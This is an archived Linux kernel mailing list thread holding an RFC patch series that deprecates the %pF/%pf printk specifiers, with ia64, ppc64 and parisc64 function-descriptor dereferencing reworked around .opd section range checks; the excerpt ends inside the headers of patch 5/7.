Subject: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate %pF/%pf printk specifiers
Date: Thu, 21 Sep 2017 01:29:02 +0900
Lines: 103
Approved: news@gmane.org
Message-ID: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505924967 10632 195.159.176.226 (20 Sep 2017 16:29:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:29:27 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 20 18:29:20 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1duhsF-0000tp-9v
	for glpp-linux-parisc@m.gmane.org; Wed, 20 Sep 2017 18:29:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751175AbdITQ30 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 20 Sep 2017 12:29:26 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:33074 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750973AbdITQ3Z (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 20 Sep 2017 12:29:25 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id i130so1920373pgc.0;
        Wed, 20 Sep 2017 09:29:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=ceWezKCwdfMkL4vWLqX/BmC7+FolubpOepfNUVDp1iA=;
        b=AyyvYqXceofmH1lSb1571ojzZtyq2pEuDivJ9pp8JHQRcj9RCw/fNGoIY7jcMpNGyR
         rsROZAWLxb8M8I1kSmEpxXTj+1Mw0bmg9eK7i7SEVtjYGBENH8JQrQV7FQoJo7u0zjKU
         d7U7hfTX2v4dDMr9irInarLAxIsA6/cQ8bS79LfliC9TeD6QNrf/tUMjmTtiVvFTvicH
         BTQalS5XtqDhSgQkuDVROO+XZnjNslujtPb3I8XFcRk7vs6WjaLcoUMfNmAFrUUh4WrD
         5RUnP/NVxduDyUurQY5FwOGSWwlPEyvzXWU1cGmosUhBzmC+72trwobdeODZDCtvpotu
         IX5Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=ceWezKCwdfMkL4vWLqX/BmC7+FolubpOepfNUVDp1iA=;
        b=Z2Z7E0s80iRWeNgpRFk0J6UmWM/KdKi/hm2bkgDntTqESh+H0JDJHJnkSYzLflwjhi
         upD8WUY+ZmHcO2lL+gyYDzedQ0FtrqTrv5T+N9iHoLBJGCFt8O9mzhTc2ER7wGxE0suB
         EKolvLNBhhMung9vKyQ2+HnFmngtYO6W20+t82dxaKwLk2+iE8e3rlreRUeGakBFa5xz
         SQxU27wlaMrlThhS/7Wz275quRqW1Ekw0plmfrDOdfWQXJO32HrD+8Kuv8VFoJC5jP4E
         NvLWcytXir33jrA6Tli6yvty4I11eQ1mna8xupocQHR6c+k/SIbvu63Pma7uS0Vwj2sI
         S1vA==
X-Gm-Message-State: AHPjjUhfjuC8UDFVbI13BlMvnpUJYH33MOgbvo2ikex0NlaaVt9ZDwm6
        mYh2vSRtmJM6/AJR+/wS4xs=
X-Google-Smtp-Source: AOwi7QDK+OeB0hxfpDXWdRinKinJqp8rGBbTg5pH5fsVHp0Rm1SCBSN0gd7cTgSIW0vA9qWZT1lA2w==
X-Received: by 10.84.236.78 with SMTP id h14mr2582060pln.2.1505924964407;
        Wed, 20 Sep 2017 09:29:24 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:23 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27829 gmane.linux.ports.ia64:28130 gmane.linux.ports.ppc64.devel:148120 gmane.linux.kernel:2574172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27829>

        Hello

        RFC

        On some arches C function pointers are indirect and point to
a function descriptor, which contains the actual pointer to the code.
This mostly doesn't matter, except for cases when people want to print
out function pointers in symbolic format, because the usual '%pS/%ps'
does not work on those arches as expected. That's the reason why we
have '%pF/%pf', but since it's here because of a subtle ABI detail
specific to some arches (ppc64/ia64/parisc64) it's easy to misuse
'%pF/%pf' and '%pS/%ps' (see [1], for example).

        This patch set attempts to move ia64/ppc64/parisc64 C function
pointer ABI details out of printk() to arch code. Function dereference
code now checks if a pointer belongs to a .opd ELF section and dereferences
that pointer only if it does. The kernel and modules have their own .opd
sections that's why I use two different ARCH functions: for kernel and
for module pointer dereference.

        I planned to remove dereference_function_descriptor() entirely,
but then I discovered a bunch other uses cases (kgdbts, init/main.c,
extable, etc.), so I decided to keep dereference_function_descriptor()
around because the main point of this patch set is to deprecate %pF/%pf.
But at the same time, I think I can go further and handle both kernel
and module descriptor dereference in dereference_function_descriptor().
We need a module pointer for module .opd check, so that will come at an
extra cost of module lookup (may be there will some other issues along
the way, haven't checked it).

Right now we've got:

- dereference_function_descriptor(addr)
        a generic (old) function. it simply attempts to dereference
        whatever pointer we give it.

- dereference_kernel_function_descriptor(addr)
        dereferences a kernel pointer if it's within the kernel's .opd
        section.

- dereference_module_function_descriptor(module, addr)
        dereference a module pointer if it's within the module's .opd
        section.


*** A BIG NOTE ***
        I don't own ia64/ppc64/parisc64 hardware, so the patches are not
        tested. Sorry about that!

Another note:
        I need to check what is BPF symbol lookup and do we need to
        do any dereference there.

v2:
-- convert dereference_function_descriptor() to unsigned long
-- fix kernel descriptor range checks (Helge)
-- fix parisc module descriptor range check (Helge)
-- fix ppc64 module range check
-- add checkpatch patch


Sergey Senozhatsky (7):
  switch dereference_function_descriptor() to `unsigned long'
  sections: split dereference_function_descriptor()
  ia64: Add .opd based function descriptor dereference
  powerpc64: Add .opd based function descriptor dereference
  parisc64: Add .opd based function descriptor dereference
  symbol lookup: use new kernel and module dereference functions
  checkpatch: add pF/pf deprecation warning

 Documentation/printk-formats.txt          | 15 +++++----------
 arch/ia64/include/asm/sections.h          | 16 ++++++++++++----
 arch/ia64/kernel/module.c                 | 13 +++++++++++++
 arch/ia64/kernel/vmlinux.lds.S            |  2 ++
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  4 +++-
 arch/parisc/kernel/module.c               | 17 +++++++++++++++++
 arch/parisc/kernel/process.c              | 15 ++++++++++++---
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 arch/parisc/mm/init.c                     |  4 ++--
 arch/powerpc/include/asm/module.h         |  3 +++
 arch/powerpc/include/asm/sections.h       | 17 ++++++++++++++---
 arch/powerpc/kernel/module_64.c           | 16 ++++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S         |  2 ++
 drivers/misc/kgdbts.c                     |  2 +-
 include/asm-generic/sections.h            |  8 ++++++--
 include/linux/moduleloader.h              |  4 ++++
 init/main.c                               |  2 +-
 kernel/extable.c                          |  2 +-
 kernel/kallsyms.c                         |  1 +
 kernel/module.c                           |  9 ++++++++-
 lib/vsprintf.c                            |  5 +----
 scripts/checkpatch.pl                     |  6 ++++--
 23 files changed, 132 insertions(+), 35 deletions(-)

-- 
2.14.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 2/7] sections: split dereference_function_descriptor()
Date: Thu, 21 Sep 2017 01:29:04 +0900
Lines: 121
Approved: news@gmane.org
Message-ID: <20170920162910.32053-3-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505924982 13722 195.159.176.226 (20 Sep 2017 16:29:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:29:42 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:29:36 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duhsW-00039X-2T
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:29:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751811AbdITQ3k (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:29:40 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:34992 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751000AbdITQ3h (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:29:37 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id i23so1384798pfi.2;
        Wed, 20 Sep 2017 09:29:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=y7ek0k6yNfVDcFDcWSjt90y7isFoahrknAhAcPVdQLE=;
        b=odRRVgYd1jq1sdQF0VOWPjdANOEOyKuA1HOfhF89TuiDihNbu0NGGHlgo3jL+vMQBP
         sLvUFxigHH/abAhu7zDp3w/X5FA2DHMRAPhvL5KFzjli7wA3Hg7tyQD/Qec0OSWK7GGn
         5FbnWtqSybPrDqsGiJSFiM1dcDvUqgJ/46nHsqvwfoO5btbf3oTILmBefIvuFHWCvsVe
         SLn0y96cuThxbH7VK7mJU8HDnh6hdJiGXx95aqnu223nR05xjuj92k0eE9/uTQT5DJTX
         y7QVxoIMT9ML+Ns9i+rlCv1tPkGhlct7kCvT8F0pmXy8+W1Jq184kqdt+OReXjQbPAoT
         YjUQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=y7ek0k6yNfVDcFDcWSjt90y7isFoahrknAhAcPVdQLE=;
        b=EkSO+l3afN38un0dmLetlreszDuDtA0YspgCO/G65mrrcq5KbsxGYHrQI8PLEeedfv
         8pXunQVlok0BoAzaggPLX0SAHQNrattE4pnzKBTMBohrjovWI4yNFMU2Vdvq++B58DHv
         XlML5lGEMDCMzPIrjvbVoYYIbqbpYwFfwF+T8Bh1YA04r/THNBOko6NWtKJyQtvLL/1R
         HlBuCG3ONdkp/852Yq1svbYhGoG8NbJGA4OuGzuC6UXhw6VdcFHxZfiVj4taR2TUvugU
         ZgF/23pRKyIrRg6gNG0/KUChKWu3fW0z1sr3EwzgKP3UEeRBmug+OZeqodekuMnKT+Vy
         f5vg==
X-Gm-Message-State: AHPjjUi4dp8zOnae96wDs57a5Lj3RSN5jGywA/lTT2BNcGPdXQK7RAMW
        zc4Q4bHjVzY/uEEk0pFDMQA=
X-Google-Smtp-Source: AOwi7QBfKTgMwxwUkZ2Szsm1K2G9KlbvlIlVSiGj+W/I1VmkvOf8kyTrkqI/YjPo2Uf1fAuOJXUb3A==
X-Received: by 10.99.136.73 with SMTP id l70mr2766706pgd.185.1505924976402;
        Wed, 20 Sep 2017 09:29:36 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.31
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:35 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574174 gmane.linux.ports.ia64:28131 gmane.linux.ports.parisc:27830 gmane.linux.ports.ppc64.devel:148121
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574174>

There are two format specifiers to print out a pointer in symbolic
format: '%pS/%ps' and '%pF/%pf'. On most architectures, the two
mean exactly the same thing, but some architectures (ia64, ppc64,
parisc64) use an indirect pointer for C function pointers, where
the function pointer points to a function descriptor (which in
turn contains the actual pointer to the code). The '%pF/%pf, when
used appropriately, automatically does the appropriate function
descriptor dereference on such architectures.

The "when used appropriately" part is tricky. Basically this is
a subtle ABI detail, specific to some platforms, that made it to
the API level and people can be unaware of it and miss the whole
"we need to dereference the function" business out. [1] proves
that point (note that it fixes only '%pF' and '%pS', there might
be '%pf' and '%ps' cases as well).

It appears that we can handle everything within the affected
arches and make '%pS/%ps' smart enough to retire '%pF/%pf'.
Function descriptors live in .opd elf section and all affected
arches (ia64, ppc64, parisc64) handle it properly for kernel
and modules. So we, technically, can decide if the dereference
is needed by simply looking at the pointer: if it belongs to
.opd section then we need to dereference it.

The kernel and modules have their own .opd sections, obviously,
that's why we need to split dereference_function_descriptor()
and use separate kernel and module dereference arch callbacks.

This patch does the first step, it
a) adds dereference_kernel_function_descriptor() function.
b) adds a weak alias to dereference_module_function_descriptor()
   function.

So, for the time being, we will have:
1) dereference_function_descriptor()
   A generic function, that simply dereferences the pointer. There is
   bunch of places that call it: kgdbts, init/main.c, extable, etc.

2) dereference_kernel_function_descriptor()
   A function to call on kernel symbols that does kernel .opd section
   address range test.

3) dereference_module_function_descriptor()
   A function to call on modules' symbols that does modules' .opd
   section address range test.

[1] https://marc.info/?l=linux-kernel&m=150472969730573

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 include/asm-generic/sections.h | 8 ++++++--
 include/linux/moduleloader.h   | 4 ++++
 kernel/module.c                | 6 ++++++
 3 files changed, 16 insertions(+), 2 deletions(-)

diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
index e5da44eddd2f..387f22c41e0d 100644
--- a/include/asm-generic/sections.h
+++ b/include/asm-generic/sections.h
@@ -29,6 +29,7 @@
  *	__ctors_start, __ctors_end
  *	__irqentry_text_start, __irqentry_text_end
  *	__softirqentry_text_start, __softirqentry_text_end
+ *	__start_opd, __end_opd
  */
 extern char _text[], _stext[], _etext[];
 extern char _data[], _sdata[], _edata[];
@@ -47,12 +48,15 @@ extern char __softirqentry_text_start[], __softirqentry_text_end[];
 /* Start and end of .ctors section - used for constructor calls. */
 extern char __ctors_start[], __ctors_end[];
 
+/* Start and end of .opd section - used for function descriptors. */
+extern char __start_opd[], __end_opd[];
+
 extern __visible const void __nosave_begin, __nosave_end;
 
-/* function descriptor handling (if any).  Override
- * in asm/sections.h */
+/* Function descriptor handling (if any).  Override in asm/sections.h */
 #ifndef dereference_function_descriptor
 #define dereference_function_descriptor(p) (p)
+#define dereference_kernel_function_descriptor(p) (p)
 #endif
 
 /* random extra sections (if any).  Override
diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index 4d0cb9bba93e..172904e9cded 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -85,6 +85,10 @@ void module_arch_cleanup(struct module *mod);
 /* Any cleanup before freeing mod->module_init */
 void module_arch_freeing_init(struct module *mod);
 
+/* Dereference module function descriptor */
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr);
+
 #ifdef CONFIG_KASAN
 #include <linux/kasan.h>
 #define MODULE_ALIGN (PAGE_SIZE << KASAN_SHADOW_SCALE_SHIFT)
diff --git a/kernel/module.c b/kernel/module.c
index ea77ab13bead..b792e814150a 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -2121,6 +2121,12 @@ void __weak module_arch_freeing_init(struct module *mod)
 {
 }
 
+unsigned long __weak dereference_module_function_descriptor(struct module *mod,
+							    unsigned long addr)
+{
+	return addr;
+}
+
 /* Free a module, remove from lists, etc. */
 static void free_module(struct module *mod)
 {
-- 
2.14.1



From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 3/7] ia64: Add .opd based function descriptor dereference
Date: Thu, 21 Sep 2017 01:29:05 +0900
Lines: 89
Approved: news@gmane.org
Message-ID: <20170920162910.32053-4-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505924994 15628 195.159.176.226 (20 Sep 2017 16:29:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:29:54 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:29:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duhse-0003dm-UT
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 18:29:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751912AbdITQ3v (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 12:29:51 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:37243 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751825AbdITQ3n (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 12:29:43 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id v5so1905609pgn.4;
        Wed, 20 Sep 2017 09:29:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=IVAulDM2MKKdZk1OZegitOzApbierimhT0gYtTgDJWc=;
        b=jajmRc0ZwsnkFVu18tnfxCImmLKjOkv2J3cQnWjcnxLMLIaTxwNsBEoWzq4mqKDy2j
         BdNBQS+J3vJ/A70Tz8I36e13wX8ZTSL/TIWbqPvz6t6+EtYVBLN5ih/uA4xK5RRsYMt/
         n8hr/Bjx88YKXXN2iN65HO+GSWkfmHSrvhm+OTjeSrsZZjPyh2Z7UjQ80dRBnad19tfk
         Ag5TQyEao/v266G6eiOaZN+HG41/1uhcW2QoLl1Pqj4Up14jQeYLapwZV2lxzNO4hqqB
         aTlOZ3FT5cJu35ilAUPt00B+cIJx+yhrQkwI74Rex4ARpVENszlSJ+dVajmIuOKOjhD/
         2dtw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=IVAulDM2MKKdZk1OZegitOzApbierimhT0gYtTgDJWc=;
        b=nxIkrzlIazBxJyUh22MdZ9ngyEgtd20/vYB/n51yw5UWSVxQjR1XMNdlo25qHFHHxO
         nM5OWZ0zGtZxoCdtlL1H8rm8VkCLlB1hC/L0cB+obEEUVthZ1vXCnIPyda4Z6wDuObmY
         T9FfFqYSih1R4/RH230Kob4NTv5nXSuDByrt1dCR8VKy3qZWQkJjnBYRRB6miqp56TsC
         glwokoIq274M8zVQySh3LSxpyiLgRWuem9VPcz9MjF5O3DyYTERbxynQI7g+Y3S2hWXe
         8itOt5zlFSxS13blymjFdRj6XJUz0/yunUfqJCo6mvQP+4Fo0SXiAYhHfNFf8wwiipjd
         M8WQ==
X-Gm-Message-State: AHPjjUhQZ+WBMiYxn67iTNE5vfOO2npy58XijTTSxPTlDq/cdNV6RrTx
        1dYSVhrLRUUz5p458zdYwXA=
X-Google-Smtp-Source: AOwi7QBP83WtIrL8LGb2FGXLigRnemasRkz5paUxfjDZz+Z9pZJ3qIlcuPqNOuhInxK7aoVNubFARg==
X-Received: by 10.99.123.17 with SMTP id w17mr2779371pgc.57.1505924981970;
        Wed, 20 Sep 2017 09:29:41 -0700 (PDT)
Original-Received: from localhost.localdomain ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id c185sm8890567pfb.57.2017.09.20.09.29.37
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 20 Sep 2017 09:29:41 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574175 gmane.linux.ports.ia64:28132 gmane.linux.ports.parisc:27831 gmane.linux.ports.ppc64.devel:148122
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574175>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for IA64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
---
 arch/ia64/include/asm/sections.h | 10 +++++++++-
 arch/ia64/kernel/module.c        | 13 +++++++++++++
 arch/ia64/kernel/vmlinux.lds.S   |  2 ++
 3 files changed, 24 insertions(+), 1 deletion(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index de6bfa1ef8fb..3ba7ce9d8bc8 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -37,6 +37,14 @@ static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 	return ptr;
 }
 
+#undef dereference_kernel_function_descriptor
+static inline unsigned long
+dereference_kernel_function_descriptor(unsigned long addr)
+{
+	if (addr < (unsigned long)__start_opd ||
+			addr >= (unsigned long)__end_opd)
+		return addr;
+	return dereference_function_descriptor(addr);
+}
 
 #endif /* _ASM_IA64_SECTIONS_H */
-
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index d1d945c6bd05..0741ae6fa957 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -35,6 +35,7 @@
 
 #include <asm/patch.h>
 #include <asm/unaligned.h>
+#include <asm/sections.h>
 
 #define ARCH_MODULE_DEBUG 0
 
@@ -917,3 +918,15 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+unsigned long
+dereference_module_function_descriptor(struct module *mod, unsigned long addr)
+{
+	Elf64_Shdr *opd = mod->arch.opd;
+
+	if (addr < opd->sh_addr ||
+			addr >= (opd->sh_addr + opd->sh_size))
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
diff --git a/arch/ia64/kernel/vmlinux.lds.S b/arch/ia64/kernel/vmlinux.lds.S
index 798026dde52e..f872ba5ff82a 100644
--- a/arch/ia64/kernel/vmlinux.lds.S
+++ b/arch/ia64/kernel/vmlinux.lds.S
@@ -107,7 +107,9 @@ SECTIONS {
 	RODATA
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	/*
-- 
2.14.1



From - Thu Nov 08 21:40:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [RFC][PATCH v2 5/7] parisc64: Add .opd based function descriptor dereference
Date: Thu, 21 Sep 2017 01:29:07 +0900
Lines: 123
Approved: news@gmane.org
Message-ID: <20170920162910.32053-6-sergey.senozhatsky@gmail.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1505924997 16236 195.159.176.226 (20 Sep 2017 16:29:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 16:29:57 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 18:29:52 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duhsl-0003dm-7W
